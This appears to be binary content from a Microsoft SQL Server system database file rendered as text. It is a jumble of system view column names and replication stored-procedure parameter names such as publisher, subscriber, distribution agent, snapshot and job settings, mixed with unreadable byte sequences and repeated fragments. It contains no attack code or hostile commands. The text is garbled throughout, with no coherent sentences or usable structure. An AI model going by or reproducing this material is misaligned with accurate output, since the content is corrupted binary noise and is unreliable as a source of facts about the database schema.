:C-:C0
:C400
&:C40-;81>0
*:C40-=81C4L0
":C40-B>0
$:C:0@5:C0
:C:C0
":E5-:E50
:H0
;045=0
 ;04:><0
;04=00
 ;04=0O0
 ;04=550
;04=>0
*;04=>-;04=>0
";04=>3>0
 ;04=>50
 ;04=>90
 ;04=><0
";04=><C0
 ;04=>N0
 ;04=CN0
;04=K0
 ;04=K50
 ;04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!!!!!8|Z:



z
Z
:

pR2xN(



z
\
>
$


				^	<		lJ,nN0zX4~X6nN0hL$f>~V0
z`@-K[)(Z2	F0-zG@resample0-WQ)88
Mindex_handle0-WQ)44Kdatabase_id0-WQ)88
Gobject_id0-WQ)@4@Uequality_columns0-WQ)@4@Yinequality_columns0-WQ)@4@Uincluded_columns0-WQ)@4@Gstatement0-88
?@spid0-88
Isession_id0-88
Gcursor_id0-=name0-Iproperties0-@@Isql_handle0-88
astatement_start_offset0-88
]statement_end_offset0-[plan_generation_num0-	==Ocreation_time0-
hhCis_open0-hh[is_async_population0-hhYis_close_on_commit0-
88
Mfetch_status0-88
Wfetch_buffer_size0-88
Yfetch_buffer_start0-88
Oansi_position0-Kworker_time0-?reads0-Awrites0-Udormant_duration0-@@@Irequest_id0-@88
Istep_index0-@Qoperation_type0-@@@Wdistribution_type0-@@@Olocation_type0-@@@Astatus0-@HHEerror_id0-@==Istart_time0-@	==Eend_time0-@
88
Ytotal_elapsed_time0-@Grow_count0-@@@Ccommand0-YNK@table_name0-YNO@table_schema0-YNQ@table_catalog0-YNU@constraint_name0-YNY@constraint_schema0-YN[@constraint_catalog0-YNU@constraint_type0-YNO@table_schema0-YNQ@table_catalog0-YNU@constraint_name0-YNY@constraint_schema0-YN[@constraint_catalog0-YNU@constraint_type0-(W3Q@source_object0-(W3O@source_owner-2@0-2@C@ddlcmd0-2@K@FirstToken0-2@K@objectType0-2@C@dbname0-2@A@owner0-2@E@objname0-2@O@targetobject-1
0-1
=@cmd0-1
E@proctag0-jG88
G@agent_id0-*h4[@original_publisher0-*h4O@publisher_db0-*h4_@redirected_publisher0-*h4e@publisher_linked_server0-*h4Q@target_server0-HQ@source_object0-H$$E@rowguid0-H88
M@delete_type0->$$E@guidsrc0->=@gen0->$$A@pubid0->$$I@pubid_ins0->I@nicknames0->88
E@artnick0->88
M@compatlevel0-G=88
I@tablenick0-G=$$E@rowguid0-z/G@command10-z/M@replacechar0-z/G@command20-z/G@command30-z/K@precommand0-z/M@postcommand[@original_publisher0-*h4O@publisher_db0-*h4_@redirected_publisher0-*h4e@publisher_linked_server0-*h4Q@target_server0-W@capture_instance0-Q@source_schema0-M@source_name0-88
W@source_object_id0-Z88
Y@num_contents_rows0-HQ@source_object5P4r
{uv/H
s

		9	s._*fQ@g4?j!^EPQR

S

0dqt,n%X`V
-
F)
);0-XCkeyword0-X88
?colid0-X88
GunusedPid0-XEdocidmax0-X88
Adupseq0-XEdocidmin0-XEdoccount0-X?docid0-X	88
Gdoclength0-X
88
Eocccount0-X88
;occ0-X88
KinternalPid0-X88
?@dbid0-X88
A@objid0-X88
I@complevel0-7G@rolename0-v%88
Gobject_id0-v%44Uprocedure_number0-v%@Idefinition0-xQYsuperlatch_address0-xQUsublatch_address0-xQ88
Mpartition_id0-V4=name0-V4?value0-ʷ88
Cpool_id0-ʷx4xYmemory_broker_type0-ʷQallocations_kb0-ʷaallocations_kb_per_sec0-ʷepredicted_allocations_kb0-ʷ_target_allocations_kb0-ʷ_future_allocations_kb0-ʷUoverall_limit_kb0-ʷ	x4xWlast_notification0-ʷ
88
Kpdw_node_id0-</xx?event0-</HHEevent_id0-</==Kcreate_time0-</88
Isession_id0-C@object0-A@owner0-ۿM@publication0-ۿ88
A@found0-ۿI@publisher0-ۿS@publisher_type0-I@tablename0-A@owner0-C@tranid0-2A@owner0-2I@tablename0-2I@publisher0-2hhO@fordiagnosis0-;hhC@is_p2p0-;88
U@current_version0-2oM@publication0-2o88
O@partition_id0-I@tablename0-I@ownername0-G@procname0-$$A@pubid0-$$A@artid0-hhg@generate_subscriber_proc0-Y@destination_owner0-6֜$$A@subid0-6֜$$A@artid0-6֜00K@range_type0-6֜00Q@ranges_needed0-6֜ll&M@range_begin0-6֜ll&I@range_end0-6֜ll&W@next_range_begin0-6֜ll&S@next_range_endhhU@source_nullable0-NW@destination_dbms0-N

]@destination_version0-NW@destination_type0-N[@destination_length0-Na@destination_precision0-N88
Y@destination_scale0-Nhh_@destination_nullable0-ۿM@publication0-ۿ88
A@found0-ۿI@publisher0-ۿS@publisher_type0-I@tablename0-A@owner0-C@tranid0-2A@owner0-2I@tablename0-2I@publisher0-2hhO@fordiagnosis0-;hhC@is_p2p0-;88
U@current_version0-88
S@publication_id0-==?@time0-UQ@source_schema0-UM@source_name0-UW@capture_instance0-Uhh_@supports_net_changes0-UI@role_name0-UK@index_name0-U_@captured_column_list0-US@filegroup_name0-U	hhc@allow_partition_switch0-%88
I@tablenick0-2oM@publicationeSrl-

^
-6VG{2

	g		D9	a GvSm/bz
m
$
?x9n)`(-<)|=*r0B;0-$(44K@DatabaseId0-$(88
E@TableId0-$(88
E@IndexId0-$(88
U@PartitionNumber-$50-$5M@column_name0-$588
S@system_type_id0-$5W@system_type_name0-$544K@max_length0-$500I@precision0-$500A@scale0-$5S@collation_name0-$5hhM@is_nullable0-$5	hhU@is_xml_document0-$5
88
Y@xml_collection_id0-$5hhU@is_user_defined0-$5hhW@is_assembly_type0-$5
hhU@is_fixed_length0-=W@LoginNamePattern0-W88
Arun_id0-W=name0-W==Ksubmit_time0-W==Istart_time0-W==Eend_time0-W88
Ytotal_elapsed_time0-W  Qoperation_type0-W  =mode0-W	Odatabase_name0-W
Itable_name0-W88
Mprincipal_id0-W@@Isession_id0-W
@@Irequest_id0-W  Astatus0-W88
Eprogress0-W@@Ccommand0-WQrows_processed0-WOrows_rejected0-WOrows_inserted0-(+C@server0-(+E@catalog0-(+?@name0-(+A@owner0-(+4MCATALOG_NAME0-(+4KSCHEMA_NAME0-(+4MSCHEMA_OWNER0-(+4oDEFAULT_CHARACTER_SET_CATALOG0-(+4mDEFAULT_CHARACTER_SET_SCHEMA0-(+4iDEFAULT_CHARACTER_SET_NAME0-^M@publication0-^I@publisher0-0I@publisher0-mqI@publisher0-mqO@publisher_db0-mqM@publication0-mqK@dest_table0-mqK@dest_owner0-mqE@article0-mq?@type0-8l88
G@agent_id0-8l88
I@runstatus0-8l@G@comments0-8lK@xact_seqno0-8l88
Q@delivery_time0-8l88
c@delivered_transactions0-8l88
[@delivered_commands0-8l88
W@delivery_latency0-8l	hhI@log_error0-8l
hhY@perfmon_increment0-8lhh]@update_existing_row0-8lhhO@do_raiserror0-8l
hhS@updateable_row0-3?@name0-3hhM@show_distdb0-epI@publisher0-epO@publisher_db0-epM@publication0-ep_@dynamic_filter_login0-epe@dynamic_filter_hostname0-epi@dynamic_snapshot_location0-a@5[@secondary_database0-a@5hh]@ignoreremotemonitor0-a@5hhI@overwrite0-3688
E@maxrows0-36@E@genlist0-3688
I@tablenick0-36$$E@rowguid0-36$$A@pubid0-36I@oldmaxgen0-36C@mingen0-36C@maxgen0-36	88
M@compatlevel0-36
hh@return_count_of_rows_initially_enumerated0-36hha@enumentirerowmetadata0-36hh_@blob_cols_at_the_end0-36
$$e@maxschemaguidforarticle0-	oM@publication0-Tkm$$A@subid0-Tkm88
O@status_value0-O488
I@tablenick0-O4$$A@pubid0-O488
A@phaseCD_#1{2:K

h
#
		P		k.?n-0pWEr*|'F[)rba"c

:
5`,-Za)'+J4P0-&$$_conversation_group_id0-&88
Iservice_id0-&hhGis_system0-qH88
Kdatabase_id0-qH88
Cfile_id0-qH88
Cpage_id0-qH88
Ipage_level0-qHYallocation_unit_id0-qHx4xGpage_type0-qH88
Grow_count0-qH88
[free_space_in_bytes0-qH	hhKis_modified0-qH
88
Gnuma_node0-qHOread_microsec0-"VQtransaction_id0-"Vetransaction_sequence_num0-"V[commit_sequence_num0-"V88
Isession_id0-"VhhKis_snapshot0-"Vkfirst_snapshot_sequence_num0-"V88
kmax_version_chain_traversed0-"V>>5saverage_version_chain_traversed0-"V	]elapsed_time_seconds0->USEQUENCE_CATALOG0->SSEQUENCE_SCHEMA0->OSEQUENCE_NAME0->GDATA_TYPE0->00WNUMERIC_PRECISION0->44cNUMERIC_PRECISION_RADIX0->88
ONUMERIC_SCALE0->bbPPKSTART_VALUE0->	bbPPOMINIMUM_VALUE0->
bbPPOMAXIMUM_VALUE0->bbPPGINCREMENT0->hhMCYCLE_OPTION0->
YDECLARED_DATA_TYPE0->00iDECLARED_NUMERIC_PRECISION0->00aDECLARED_NUMERIC_SCALE-e80-`LI@publisher0-`LO@publisher_db0-`LM@publication0-`LG@trigname0-`L88
A@objid0-`LG@procname0-`L@Q@filter_clause0-`LE@op_type0-`L	hhI@fisqueued0-`L
hhC@falter0-`L88
G@agent_id0-,caM@distributor0-,caI@distribdb0-,caI@directory0-,caE@account0-,ca88
Y@min_distretention0-,ca88
Y@max_distretention0-,ca88
Y@history_retention0-,ca_@history_cleanupagent0-,ca	_@distrib_cleanupagent0-,ca
I@publisher0-,ca
A@local0-,caK@rpcsrvname0-,ca
S@publisher_type0-dK@subscriber0-d88
?@type0-aKS@publisher_type0-aKI@publisher0-aKhhQ@security_mode0-aKA@login0-aKG@password0-aK88
U@connect_timeout-*M?hh0-*M?88
I@object_id0-*M?88
I@column_id0-a)M@publication0-a)E@article0-a)hhO@returnfilter0-a)I@publisher0-a)S@publisher_type0-a)88
A@found0-a)hh=@rmo0-MM@publication0-ME@article0-M44Q@rowcount_only0-M00O@full_or_fast0-MhhS@shutdown_agent0-Mhh[@subscription_level0-M88
G@reserved0-UI@publisher0-6I@publisher0-6O@publisher_db0-688
K@article_id0-6K@subscriber0-6Q@subscriber_db0-%/$$A@pubid0-%/e@dynamic_filter_hostname0-%/_@dynamic_filter_loginry_cleanupagent0-,ca	_@distrib_cleanupagent0-,ca
I@publisher0-,ca
A@local0-,cal!B;0Yz1BZe39\

8
 G=P	i Ou]N
i

	l		,;c"b8`--+)+,cWY0-+Q44K@DatabaseId0-+Q88
G@ObjectId0-+Q88
E@IndexId0-+Q88
U@PartitionNumber0-+Q(?@Mode!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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6?@name0-6E@grantor0-6E@grantee0-64CGRANTOR0-64CGRANTEE0-64OTABLE_CATALOG0-64MTABLE_SCHEMA0-64ITABLE_NAME0-64QPRIVILEGE_TYPE0-6hhMIS_GRANTABLE0-88
A@tabid0-88
A@colid0-E@colname0-@K@typestring0-hhm@userdefinedtypestobasetypes0-hhK@xmltontext0-hhq@maxtypestomatchingnonmaxtypes0-hh_@newdatetimetostrings0-5-$$C@job_id0-ց	88
A@objid0-ց	88
Y@subtype_addcolumn0-ց	88
Q@subtype_addun0-ց	88
S@subtype_addchk0-ց	88
Q@subtype_adddf0-ց	88
Q@subtype_addfk0-ց	hhM@debug_print0-hI@publisher0-h88
g@publisher_engine_edition0-hhhw@about_to_insert_new_subscription0-R/8E@dest_db0-R/8I@dest_path0-R/8G@filename0-J=@bm10-J=@bm20-JA@bmout0-`$$A@pubid0-`$$A@subid0-`$$O@replicastate0-`S@replica_server0-`K@replica_db0-`;;W@replica_priority0-`00U@subscriber_type0-`88
Y@subscription_type0-`	88
U@datasource_type0-`
U@datasource_path0-`G@replnick0-`88
C@status0-`
00I@sync_type0-`M@publication0-`M@distributor0-`88
U@replica_version0-`88
M@compatlevel0-I@tablename0-O@tablenickstr0-88
A@phase0-hhS@isconflictproc0-K@tablename2tontext0-hhq@maxtypestomatchingnonmaxtypes0-hh_@newdatetimetostrings0-V?@name0-VG@database0-5-$$C@job_id0-xqM@server_name0-xqQ@database_name0-xq88
K@agent_type0-xqI@publisher0-xqO@publisher_db0-ց	88
A@objid0-ց	88
Y@subtype_addcolumn0-ց	88
Q@subtype_addun0-ց	88
S@subtype_addchk0-ց	88
Q@subtype_adddf0-ց	88
Q@subtype_addfk0-ց	hhM@debug_print0-DzI@publisher0-DzO@publisher_db0-DzM@publication0-88
K@profile_id-hh0-88
I@object_id0-I@publisher0-O@source_owner0-O@source_table0-hhE@refresh0-ǑM@publication0-ǑE@article0-ǑK@subscriber0-ǑS@destination_db0-Ǒhh[@ignore_distributor0-ǑG@reserved0-ǑI@publisher0-AK@subscriber0-AQ@subscriber_db0-A88
A@artid0-͈?@name0-͈==?@time0-hI@publisher0-h88
g@publisher_engine_edition0-hhhw@about_to_insert_new_subscription0-R/8		L	Ah!w
r
'
D
s
\	y0]
`p-[|9H}T	B`]-n	)9/
b0-;hh?@fset0-iFG@rolename0-tKQ@sequence_name0-tKK@range_size0-tKbbPY@range_first_value0-tKbbPW@range_last_value0-tK88
Y@range_cycle_count0-tKbbP[@sequence_increment0-tKbbP[@sequence_min_value0-tKbbP[@sequence_max_value0-YI@publisher0-YO@publisher_db0-YM@publication0-H[@secondary_database0-H$$O@secondary_id-K88
0-K88
I@tablenickid0-B
\88
Eindex_id0-B
\Iuser_seeks0-B
\Iuser_scans0-B
\Muser_lookups0-B
\Muser_updates0-B
\==Qlast_user_seek0-B
\	==Qlast_user_scan0-B
\
==Ulast_user_lookup0-B
\==Ulast_user_update0-B
\Msystem_seeks0-B
\
Msystem_scans0-B
\Qsystem_lookups0-B
\Qsystem_updates0-B
\==Ulast_system_seek0-B
\==Ulast_system_scan0-B
\==Ylast_system_lookup0-B
\==Ylast_system_update0-B
\88
Kpdw_node_id0-R@@Irequest_id0-R88
Istep_index0-R88
Qdms_step_index0-R88
Kpdw_node_id0-R88
Sdistribution_id0-R@@=type0-R@@Astatus0-RObytes_per_sec0-R	Sbytes_processed0-R
Qrows_processed0-R==Istart_time0-R==Eend_time0-R
88
Ytotal_elapsed_time0-REcpu_time0-R88
Iquery_time0-R88
Wbuffers_available0-R88
Edms_cpid0-R88
Esql_spid0-RHHEerror_id0-R@@Ksource_info0-R@@Udestination_info0-R@@Ccommand0-W@procedure_schema0-m$$A@pubid0-P}[@primary_key_bitmap0-P}88
A@index0-P}C@colpos0-P}88
E@art_col0-eM@publication0-eI@publisher0-~K@table_name0-~Y@index_column_name0-b~I@publisher0-b~O@publisher_db0-b~M@publication0-b~A@login0-b~(I@operation0-b~hhK@has_access0-b~hh?@skip0-<]M@publication0-<]E@article0-<]hhO@returnfilter0-<]I@publisher0-<]88
A@found0-<]hh=@rmo0-/}M@publication0-/}@M@description0-/}88
K@request_id0-sfI@publisher0-sfO@publisher_db0-sfM@publication0-sfE@article0-sfK@subscriber0-sfS@destination_db0-sf
U@subscriptionlsn0-sf88
I@lsnsource0-sf	88
A@pubid0-sf
88
_@publisher_db_version0-sfK@script_txt0-sf]@nosync_setup_script0-sf

S@next_valid_lsn0-sf88
A@artid0-188
O@publisher_id0-1O@publisher_db0-100=@len0-YI@publisher0-YO@publisher_db0-YM@publication0-H[@secondary_database8=Ta7<
N
		S		hm4A27\+`~) 0/
u6%H"@delfile6%H*@logicalname6>"@autofix6'*@grantorname6'@name6'0@permissionarea6'$@username6J @object6J @schema6Í&replica_id6Í8replica_server_name6Í"group_id6Í&join_state6Í0join_state_desc6\"bucketid6\$refcounts6\$usecounts6\,size_in_bytes6\<memory_object_address6\*cacheobjtype6\ objtype6\(plan_handle6\	 pool_id6\
6parent_plan_handle6{class6{&class_desc6{"major_id6{<statement_line_number6{>statement_offset_begin6{:statement_offset_end6{.statement_type6{*feature_name6{	4feature_type_name6\"@tabname6\&@indexname6\.@verboseoutput6\,@query_sample6\(@xml_output6;$commit_ts6; xdes_id6;&commit_lbn6;&commit_csn6;(commit_time6;(pdw_node_id6܉	(@agent_type6܉	8@frequency_interval6܉	J@frequency_relative_interval6܉	J@frequency_recurrence_factor6܉	4@frequency_subday6܉	F@frequency_subday_interval6܉		D@active_start_time_of_day6܉	
@@active_end_time_of_day6܉	6@active_start_date6܉	2@active_end_date6*@source_dbms60@source_version6*@source_type66@source_length_min66@source_length_max6<@source_precision_min6<@source_precision_max64@source_scale_min6	4@source_scale_max6
2@source_nullable64@destination_dbms6:@destination_version6
4@destination_type68@destination_length6>@destination_precision66@destination_scale6<@destination_nullable6D@destination_createparams6$@dataloss6(@is_default6S&@publisher6z@name6z&@publisher6z@rfid6z @statid6z0@sync_method_id6zB@enabled_for_internet_id6z2@allow_sync_tran6z8@autogen_sync_procs6z	N@snapshot_in_defaultfolder_bit6z
:@alt_snapshot_folder6z:@pre_snapshot_script6z<@post_snapshot_script6z
>@compress_snapshot_bit6z*@ftp_address6z$@ftp_port6z4@ftp_subdirectory6z&@ftp_login6z4@enc_ftp_password6z,@allow_dts_id6z8@allow_anonymous_id6z*@description6z6@independent_agent6z0@immediate_sync6z(@allow_push6z(@allow_pull6z&@retention6zB@allow_subscription_copy6z"@options6%5*@publication6%5.@rowcount_only6%5,@full_or_fast6%50@shutdown_agent6%5&@publisher6!@pubid6!*@publication6!$@enabling6!.@originator_id6! @cmdtxt6!(@execscript6t0@publisher_name6t,@publisher_db6t*@publication6t2@subscriber_name6t.@subscriber_db6&@object_id6<@included_column_list65@p16R&@tablename6R@flags6R"@orderby6R @flags20scheduler_count6rH<scheduler_total_count6rHNdeadlock_monitor_serial_number6rHLsqlserver_start_time_ms_ticks6rH:sqlserver_start_time6rH,affinity_type6rH6affinity_type_desc6rH>process_kernel_time_ms6rH:process_user_time_ms6rH(time_source6rH2time_source_desc6rH:virtual_machine_type6rHDvirtual_machine_type_desc6rH(pdw_node_id6;$commit_ts6; xdes_id6;&commit_lbn6;&commit_csn6;(commit_time6;(pdw_node_id6*@server_name6,@catalog_name66(@table_name66,@table_schema66*@column_name66"@grantor66"@grantee66,@table_schema66*@column_name66"@grantor66"@grantee66,@table_server66.@table_catalog66(@table_name66,@table_schema66*@column_name66"@grantor66"@grantee:6:$@username6܉	(@subscriber6܉	(@agent_type6܉	0@frequency_type6܉	8@frequency_interval6܉	J@frequency_relative_interval6܉	J@frequency_recurZfX			F
h:dN(DzP~^2^	
(\

D
z
	
0
dL

0|Z^4lB>.Z
`\D 8@Z$ht`s)	H1e
L@6-'$@loginame6-'(@name_in_db6ʈdHautomated_backup_preference6ʈdRautomated_backup_preference_desc6ʈd@failure_condition_level6ʈd"group_id6ʈd:health_check_timeout6ʈdname6ʈd4resource_group_id6ʈd(resource_id6(@futureonly6"@objname67 @dbname6co&class_type6co0class_type_desc6co:securable_class_desc6W(@DatabaseId6W(database_id6W:log_consumer_id_seed6W6log_consumer_count6W
Nhigh_weight_cache_buffer_count6W<frequency_check_ticks6W0active_log_size6M$object_id6M$schema_id6M,TABLE_CATALOG6M*TABLE_SCHEMA6M&TABLE_NAME6M(COLUMN_NAME6M(COLUMN_GUID6M,COLUMN_PROPID6M	 ORDINAL6M
 PK_NAME6N.DOMAIN_CATALOG6N,DOMAIN_SCHEMA6N(DOMAIN_NAME6N$DATA_TYPE6NBCHARACTER_MAXIMUM_LENGTH6N>CHARACTER_OCTET_LENGTH6N4COLLATION_CATALOG6N2COLLATION_SCHEMA6N	.COLLATION_NAME6N
<CHARACTER_SET_CATALOG6N:CHARACTER_SET_SCHEMA6N6CHARACTER_SET_NAME6N
4NUMERIC_PRECISION6N@NUMERIC_PRECISION_RADIX6N,NUMERIC_SCALE6N6DATETIME_PRECISION6N.DOMAIN_DEFAULT6a4@qual_object_name6a@objid6a<@pass_through_scripts64J&@publisher64J,@publisher_db64J*@publication64J6@subscription_type64J4@last_sync_status64J6@last_sync_summary6(@objid6(&@threshold6(@range6(&@next_seed6K٣*@publication6a@objid6a(@tran_artid6a4@tran_pub_options6a4@qual_dest_object6aB@qual_p2p_conflict_table6a:@checkpartition_mask6a0@checkadds_mask6a8@subtype_dropcolumn6a	@@subtype_dropconstraint6a
>@subtype_enabletrigger6a@@subtype_disabletrigger6aD@subtype_enableconstraint6a
F@subtype_disableconstraint6a.@subtype_addfk6a:@subtype_altercolumn6a8@drop_defaults_only6a(@dest_owner6a*@debug_printL=6L="@db_name6*@publication6(@subscriber6.@subscriber_db6h[G"@tran_id6h[G @row_id6h[G0@conflict_table6h[G.@is_subscriber6h[G$@is_debug6}~N&@publisher6}~N*@publisherdb6}~N*@publication6}~N&@batchsize6ieHP@qualified_logbased_object_name6޻*@publication64H8@original_publisher64H,@publisher_db64H<@redirected_publisher68@secondary_database6:@ignoreremotemonitor6A4@logreader_exists6A6@skip_remote_check6*@publication6=$@viewname6=&@ownername6=$@procname6=@rgcol6=@pubid6=@artid6Al@pubid6Al&@tablenick6Al*@column_nameALOG6N2COLLATION_SCHEMA6N	.COLLATION_NAME6N
<CHARACTER_SET_CATALOG6N:CHARACTER_SET_SCHEMA6N6CHARACTER_SET_NAME6N
4NUMERIC_PRECISION6N@NUMERIC_PRECISION_RADIX6N,NUMERIC_SCALE6N6DATETIME_PRECISION6N.DOMAIN_DEFAULTb6b"@command6b&@parameter6b6@original_argument6b,@new_argument6a4@qual_object_name6a@objid6a<@pass_through_scripts6Z@pubid62@tabid62@colid62"@colname62(@typestring6@pubid6&@new_level64J&@publisher64J,@publisher_db64J*@publication64J6@subscription_type64J4@last_sync_status64J6@last_sync_summary6(@objid6(&@threshold6(@range6(&@next_seed6K٣*@publication6a@objid6a(@tran_artid6a4@tran_pub_options6a4@qual_dest_object6aB@qual_p2p_conflict_table6a:@checkpartition_mask6a0@checkadds_mask6a8@subtype_dropcolumn6a	@@subtype_dropconstraint6a
>@subtype_enabletrigger6a@@subtype_disabletrigger6aD@subtype_enableconstraint6a
F@subtype_disableconstraint6a.@subtype_addfk6a:@subtype_altercolumn6a8@drop_defaults_only6a(@dest_owner6a*@deb`zRBD`8&	z	LR	rB|4X~`X0
b
l
"T
<
0F	
	xR@j,
j
D

*
l.~\6`	
)RZ2
WÈ6$(:page_lock_wait_count6$( :page_lock_wait_in_ms6$(2partition_number6$(2range_scan_count6$(.row_lock_count6$(8row_lock_wait_count6$(8row_lock_wait_in_ms6$(Hrow_overflow_fetch_in_bytes6$(Hrow_overflow_fetch_in_pages6$(>singleton_lookup_count6$()Ltree_page_io_latch_wait_count6$(*Ltree_page_io_latch_wait_in_ms6$('Ftree_page_latch_wait_count6$((Ftree_page_latch_wait_in_ms$56$50@collation_name6$5*@column_name6$54@is_assembly_type6$5
2@is_fixed_length6$5*@is_nullable6$52@is_user_defined6$5	2@is_xml_document6$5(@max_length6$5&@precision6$5@scale6$50@system_type_id6$54@system_type_name6$5
6@xml_collection_id6=4@LoginNamePattern6|"index_id6|$object_id6|*partition_id6N@all6N"identity6N(provider_id6N.session_handle6|2partition_number6|>in_row_data_page_count6|>in_row_used_page_count6|Fin_row_reserved_page_count6|8lob_used_page_count6|	@lob_reserved_page_count6|
Jrow_overflow_used_page_count6|Rrow_overflow_reserved_page_count6|0used_page_count6|
8reserved_page_count6|$row_count6܂.@plan_guide_id6܂msgnum6܂"severity6܂state6܂ message6C}.trace_event_id6C}0trace_column_id6Wrun_id6Wname6W(submit_time6W&start_time6W"end_time6W6total_elapsed_time6W.operation_type6Wmode6W	,database_name6W
&table_name6W*principal_id6W&session_id6W
&request_id6Wstatus6W"progress6W command6W.rows_processed6W,rows_rejected6W,rows_inserted6(+ @server6(+"@catalog6(+@name6(+@owner6(+*CATALOG_NAME6(+(SCHEMA_NAME6(+*SCHEMA_OWNER6(+LDEFAULT_CHARACTER_SET_CATALOG6(+JDEFAULT_CHARACTER_SET_SCHEMA6(+FDEFAULT_CHARACTER_SET_NAME6ۍ,@table_schema6ۍ*@column_name6ۍ"@grantor6ۍ"@grantee6e‡&@publisher6e‡,@publisher_db6e‡*@publication6e‡*@distributor6e‡.@offload_agent6e‡0@offload_server6e‡6@subscription_type6w~.@security_mode6w~(@islocalpub6w~*@contextuser6w~&@publisher6w~,@publisher_db6w~*@publication6^*@publication6^&@publisher6!&@publisher6!,@propertyname6!.@propertyvalue60&@publisher6mq&@publisher6mq,@publisher_db6mq*@publication6mq(@dest_table6mq(@dest_owner6mq"@article6mq@type68l$@agent_id68l&@runstatus68l$@comments68l(@xact_seqno68l.@delivery_time68l@@delivered_transactions68l8@delivered_commands68l4@delivery_latency68l	&@log_error68l
6@perfmon_increment68l:@update_existing_row68l,@do_raiserror68l
0@updateable_row63@name63*@show_distdb6ep&@publisher6ep,@publisher_db6ep*@publication6ep<@dynamic_filter_login6epB@dynamic_filter_hostname6epF@dynamic_snapshot_location6a@58@secondary_database6a@5:@ignoreremotemonitor6a@5&@overwrite6㸀"nickname6㸀$@art_nick636"@maxrows636"@genlist636&@tablenick636"@rowguid636@pubid636&@oldmaxgen636 @mingen636 @maxgen636	*@compatlevel636
f@return_count_of_rows_initially_enumerated636>@enumentirerowmetadata636<@blob_cols_at_the_end636
B@maxschemaguidforarticle6S~,@partition_id6S~"@genlist6S~2@parent_nickname6S~@pubid6S~&@oldmaxgen6S~ @mingen6S~ @maxgen6S~>@enumentirerowmetadata6S~	B@maxschemaguidforarticle6	o*@publication6Tkm@subid6Tkm,@status_value6O4&@tablenick6O4@pubid6O4@phase6j{@pubid6j{&@tablenick6j{&@basetable6]@pubid6]&@inlineage6362
Bd>b
@
"
~
	xJ4Zz

h				`T^4Xj6BnDb@
z
8xttN4\
x
J


t"*
*~t
T:*\JrL$d0\Dv^L
.
<ff8`
)3
,%Q6~&start_time6~	status6~
6status_description6~"table_id6~*worker_count6 @dbname6F@vardecimal_storage_format6`(@name_in_db6b@>most_recent_session_id6b@*connect_time6b@,net_transport6b@,protocol_type6b@2protocol_version6b@(endpoint_id6b@.encrypt_option6b@	(auth_scheme6b@
,node_affinity6b@$num_reads6b@&num_writes6b@
$last_read6b@&last_write6b@0net_packet_size6b@6client_net_address6b@0client_tcp_port6b@4local_net_address6b@.local_tcp_port6b@,connection_id6b@:parent_connection_id6b@>most_recent_sql_handle6b@(pdw_node_id6*@schema_name6,@schema_owner6o6constraint_catalog6o4constraint_schema6o0constraint_name6o,table_catalog6o*table_schema6o&table_name6o(column_name6o2ordinal_position6o	 KeyType6o
&index_name:6:&@publisher6:,@publisher_db6:*@publication6:(@subscriber6:.@subscriber_db6,@name6,&@subsystem6,4@owner_login_name6, @server6,$@username6,,@databasename6,"@enabled6,$@freqtype6,	,@freqinterval6,
*@freqsubtype6,2@freqsubinterval6,<@freqrelativeinterval6,
<@freqrecurrencefactor6,2@activestartdate6,.@activeenddate6,<@activestarttimeofday6,8@activeendtimeofday6,*@nextrundate6,*@nextruntime6,*@runpriority6,6@emailoperatorname6,.@retryattempts6,(@retrydelay6,"@command6,@@loghistcompletionlevel6,<@emailcompletionlevel6,*@description6,6@tagadditionalinfo6,*@tagobjectid6,.@tagobjecttype6,8@cmdexecsuccesscode6, .@category_name6,!6@failure_detection6,"$@agent_id6,#$@proxy_id6,$&@job_login6,%,@job_password6,& @job_id6,',@job_step_uid6v(@login_type6v@login6v$@password6v @server6<6@check_replication6<*@throw_error68@heartbeat_interval@m6@m(@fsetprefix6@m @pbinin6@m*@startoffset6@m$@cbytesin6h-4@publication_name6h-&@publisher6h-,@publisher_db6h-.@originator_id63(@request_id63*@publication6&@publisher6,@publisher_db6*@publication6(@subscriber6 @job_id6q&@publisher6q,@publisher_db6q*@publication6q:@alt_snapshot_folder6q2@cleanup_orphans6T,@publisher_id6T,@publisher_db6T*@publication6T @job_id6TF@dynamic_snapshot_location6T<@dynamic_filter_login6TB@dynamic_filter_hostname64@source_object_id6*@ddl_command6"@ddl_lsn6$@ddl_time6(@commit_lsn64@source_column_id64@fis_alter_column60@fis_drop_table6V&@object_id6M/@pubid62@pubid62@artid62(@objectname62&@ownername62,@ins_procname628@ins_batch_procname62,@upd_procname628@upd_batch_procname62	,@sel_procname62
,@del_procname62>@sel_metadata_procname624@view_selprocname62
.@conflict_proc62D@generate_downlevel_procs62@@update_symergearticles8@cmdexecsuccesscode6, .@category_name6,!6@failure_detection6,"$@agent_id6,#$@proxy_id6,$&@job_login6,%,@job_password6,& @job_id6,',@job_step_uid6J @dbname6J&@cmptlevel6c&@publisher6c,@publisher_db6c*@publication6c6@working_directory6c6@subscription_type6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6D@subscriber_security_mode64@subscriber_login6:@subscriber_password6	*@distributor6
2@distribution_db6v(@login_type6v@login6v$@password6v @setHtP$BzJf>p<hB6N`8FzvT T,X<n4hF&*	

f

	vHJ*		
H

	Zz	
<
N	
, 
\
`Fp`	Tg)R4o;?
¸G61ylcid61yname6:physical_device_name68logical_device_name6status6(status_desc66mount_request_time6<mount_expiration_time6,database_name6spid6	 command6
*command_desc60media_family_id6.media_set_name6
.media_set_guid6<media_sequence_number6.tape_operation68tape_operation_desc66mount_request_type6@mount_request_type_desc6D(latch_class6D>waiting_requests_count6D*wait_time_ms6D2max_wait_time_ms6"group_id6name6 pool_id6<statistics_start_time6:active_request_count6:queued_request_count6	Ptotal_cpu_limit_violation_count6
6total_cpu_usage_ms6@max_request_cpu_time_ms66blocked_task_count6
